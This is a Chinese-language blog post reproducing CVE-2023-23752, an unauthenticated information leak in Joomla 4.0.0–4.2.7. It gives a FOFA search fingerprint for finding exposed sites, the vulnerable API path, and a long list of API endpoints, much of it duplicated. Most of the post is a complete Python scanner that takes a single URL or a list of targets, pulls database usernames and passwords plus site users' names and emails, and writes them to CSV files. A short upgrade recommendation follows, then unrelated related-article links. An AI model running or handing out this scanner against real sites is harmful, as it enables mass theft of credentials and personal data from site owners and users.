Joomla未授权访问漏洞|CVE-2023-23752复现及修复
00 前言
这漏洞公开有阵子了好像,今天才复现了下
Jooml 在海外使用较多,是一套使用 PHP 和 MySQL 开发的开源、跨平台的内容管理系统(CMS)。
Joomla 4.0.0 至 4.2.7 版本中的 ApiRouter.php#parseApiRoute 在处理用户的 Get 请求时未对请求参数有效过滤,导致攻击者可向 Joomla 服务端点发送包含 public=true 参数的请求(如:/api/index.php/v1/config/application?public=true&key=value) 进行未授权访问
01 FOFA指纹
product="Joomla"
02 影响版本
4.0.0 <= Joomla <= 4.2.7
03 漏洞详情
在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
未授权路径在:
/api/index.php/v1/config/application?public=true
我们可以直接看到数据库的配置信息。
其他可利用接口
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
04 验证脚本
脚本如下:
import requests
import argparse
import csv
import json
timeout = 10
output = ""
proxy = {}
notColor = False
def inGreen(s):
return "\033[0;32m{}\033[0m".format(s)
def inYellow(s):
return "\033[0;33m{}\033[0m".format(s)
def readFile(filepath):
file = open(filepath, encoding='utf8')
return file.readlines()
def writeFile(filepath, data):
file = open(filepath, 'a', encoding='utf8')
filecsv = csv.writer(file)
filecsv.writerow(data)
def reqDatabase(url):
if url.rindex("/") == len(url) - 1:
url = "{}api/index.php/v1/config/application?public=true".format(url)
else:
url = "{}/api/index.php/v1/config/application?public=true".format(url)
payload = {}
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
# print(response.text)
if "links" in response.text and "\"password\":" in response.text:
try:
rejson = json.loads(response.text)
user = ""
password = ""
for dataone in rejson['data']:
# print(dataone['attributes'])
if "user" in dataone['attributes']:
user = dataone['attributes']['user']
if "password" in dataone['attributes']:
password = dataone['attributes']['password']
if user != "" or password != "":
printBody = "[+] [Database] {} --> {} / {}".format(url, user, password)
if notColor:
print(printBody)
else:
print(inYellow(printBody))
if output.strip() != "":
writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text])
return url, response.text
except:
pass
def reqUserAndEmail(url):
if url.rindex("/") == len(url) - 1:
url = "{}api/index.php/v1/users?public=true".format(url)
else:
url = "{}/api/index.php/v1/users?public=true".format(url)
payload = {}
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout)
if "username" in response.text and "email" in response.text:
try:
rejson = json.loads(response.text)
for dataone in rejson['data']:
username = ""
email = ""
# print(dataone['attributes'])
if "username" in dataone['attributes']:
username = dataone['attributes']['username']
if "email" in dataone['attributes']:
email = dataone['attributes']['email']
if username != "" or email != "":
printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email)
if notColor:
print(printBody)
else:
print(inGreen(printBody))
if output.strip() != "":
writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text])
return url, response.text
except:
pass
def reqs(listfileName):
urls = readFile(listfileName)
for url in urls:
url = url.strip()
if url == "":
continue
reqDatabase(url)
reqUserAndEmail(url)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL")
parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件")
parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置")
parser.add_argument('-p', '--proxy', type=str, default="", help="代理,如:http://localhost:1080")
parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出,如:-nc true")
opt = parser.parse_args()
args = vars(opt)
url = args['url']
urlFileName = args['listfile']
global output, proxy, notColor
output = args['output']
proxy['http'] = args['proxy']
proxy['https'] = args['proxy']
notColor = args['notColor']
if url != "":
reqDatabase(url)
if urlFileName != "":
reqs(urlFileName)
if __name__ == '__main__':
main()
缺依赖的话自行导入即可使用,使用命令:
python main.py -u http://127.0.0.1:8087/
05 修复建议
目前该漏洞已经修复,受影响用户可及时升级到Joomla! CMS 版本4.2.8。
喜欢就点个关注一起进步吧
Joomla未授权访问漏洞|CVE-2023-23752复现及修复的更多相关文章
- WordPress Backdoor未授权访问漏洞和信息泄露漏洞
漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11更新时间 2018-09-11漏洞等级 HighCVE编号 ...
- mongodb未授权访问漏洞
catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- Rsync未授权访问漏洞的利用和防御
首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...
- docker搭建redis未授权访问漏洞环境
这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...
- redis未授权访问漏洞那拿SHELL
一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...
- 关于docker remote api未授权访问漏洞的学习与研究
漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...
随机推荐
- Q:Linux查看进程启动服务的精确时间
输入命令 获取进程号 #1#获取进程号ps -ef|grep java|grep 进程名#2#获取启动时间ps -p 进程号 -o lstart 展示启动时间:星期 月 日 小时:分钟:秒 年 一键 ...
- Linux安装hive
1.需要先安装hadoop以及mysql,参考其他文章 安装hive和hadoop都在hadoop用户目录下 2.安装hive,之前,先在mysql上创建一个hive,数据库,并在hive数据库中建立 ...
- Apache Amoro数据湖管理和治理工具部署
一.Amoro介绍 2024 年 3 月 11 日,Amoro 项目顺利通过投票,正式进入 Apache 软件基金会(ASF,Apache Software Foundation)的孵化器,成为 AS ...
- WPF的Dispatcher类里的BeginInvoke,Invoke,InvokeAsync
原文地址:https://blog.csdn.net/niuge8905/article/details/81117989 深入了解 WPF Dispatcher 的工作原理(Invoke/Invok ...
- 新塘M051 关于 System Tick设置,3种方法操作
关于 System Tick设置,给出3种方法,学习并确认OK: 使用 M051BSPv3.01.001版本 一.使用函数CLK_EnableSysTick() 1 //Enable System T ...
- 傻妞教程——对接QQ机器人go-cqhttp
原本我懒,用的傻妞QQbot一键安装版,docker的,最近有点问题,索性换了go-cqhttp 安装go-cqhttp: go-cqhttp项目地址:https://github.com/Mrs4s ...
- Windows 提权-SeImpersonatePrivilege 特权
本文通过 Google 翻译 SeImpersonatePrivilege – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校 ...
- [rustGUI][iced]基于rust的GUI库iced(0.13)的部件学习(06):基于iced实现一个简单的图片浏览器
前言 本文是关于iced库的部件介绍,iced库是基于rust的GUI库,作者自述是受Elm启发. iced目前的版本是0.13.1,相较于此前的0.12版本,有较大改动. 本合集是基于新版本的关于分 ...
- C#弃元表达式的用法
原文地址:http://cshelloworld.com/home/detail/1803462343674433536 弃元符号是什么 弃元符号在C#中只是一个下划线 _,当程序员不想关注某些变量的 ...
- 【MIPS】经典指令块集锦
Directives声明变量值存储 容易将数据段地址和地址上的内容搞混 .data fibs: .space 48 # allocate 12 * 4 = 48 Byte memory, store ...